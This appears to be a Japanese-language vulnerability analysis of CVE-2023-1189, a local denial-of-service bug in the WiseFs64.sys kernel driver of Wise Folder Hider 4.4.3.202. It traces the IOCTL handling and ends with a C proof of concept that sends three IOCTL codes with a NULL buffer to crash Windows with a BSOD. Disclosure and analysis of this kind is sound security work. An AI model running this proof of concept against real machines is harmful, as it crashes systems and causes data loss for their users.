
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2023-1189 |
| 脆弱性タイプ | Improper Resource Shutdown or Release (CWE-404) |
| 影響を受けるソフトウェア | WiseCleaner Wise Folder Hider |
| 脆弱コンポーネント | WiseFs64.sys (Kernel Driver) |
| 脆弱性バージョン | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| 公開日 | 2023.03.06 |
この脆弱性は、攻撃者がユーザー権限で特定のIOCTLを介してカーネルのNULL Pointer Dereferenceを誘発し、システムをBSOD状態にするLocal Denial of Serviceの脆弱性です。
CVE-2023-1189の脆弱性は、4.4.3.202バージョンのWise Folder Hiderプログラムのsetupによって生成されるWiseFs64.sysカーネルドライバーで発生します。
全体的な脆弱性の発生フローは次のとおりです。

このフローを詳しく見ると

最初に、DriverEntry関数でDispatch Tableのインデックス14にdispatchDeviceControl関数を設定します。
これにより、\\.\WiseFsに送られるすべてのIOCTLがdispatchDeviceControlに渡されます。

dispatchDeviceControl関数に入ると、最初にコントロールデバイスかどうかを確認し、該当すればhandleControlDeviceIoctl関数に入ります。

handleControlDeviceIoctl関数には、実際のIOCTLコードを処理するロジックが含まれています。
複数のIOCTLコードのうち、0x222400、0x222404、0x222410では、Bufferの値がNULLかどうかを検証する部分が省略されています。
したがって、BufferがNULLの状態で上記のIOCTLを呼び出すと、ドライバーがBufferにアクセスする際にNULL Pointer Dereferenceが発生し、BSODにつながります。
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}